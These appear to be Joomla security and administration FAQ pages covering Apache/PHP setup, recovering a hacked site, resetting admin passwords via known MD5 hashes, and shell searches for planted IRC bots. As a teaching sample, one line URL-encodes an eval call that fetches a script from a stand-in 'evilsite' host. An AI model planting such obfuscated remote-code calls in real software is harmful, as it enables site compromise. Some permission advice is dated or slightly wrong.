LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

 
AddType application/x-httpd-php .php 
 
As
in the case of running PHP as an Apache module, you can add whatever
extensions you want Apache to recognise as PHP scripts, such as: 
 
AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 
 
 
Next,
you will need to tell the server to execute the PHP executable each
time it encounters a PHP script. Add the following below any existing
entries in the "Action" section. 

 
Action application/x-httpd-php "/php/php.exe" 
 
If
you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a
path alias which will correlate to your PHP installation path
configured previously. In other words, don't put "c:/php/php.exe"
or "c:/Program Files/php/php.exe" in that directive, put

"/php/php.exe", Apache WILL work it out if correctly configured. 
<hr />
 
 
Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module
or running it as a CGI binary, and has been seen often enough to
warrant a mention. 
 
If you want to make your PHP script execute
as the default page for a directory, you have to add another line to
the "httpd.conf". Simply search for the line in the file that begins
with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be: 

 
DirectoryIndex index.html 
 
change it to 
 
DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files 

 
The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==

'''Overview'''

Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''
More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =

== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-06-26T21:43:32Z

Royce: /* How do I turn off RG_EMULATION? {{JVer|1.0}} */ Minor misspelling - depreciated != deprecated

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{| border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Consider recommendations:''' Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly can not be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http://joomlacode.org/gf/project/jts/

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

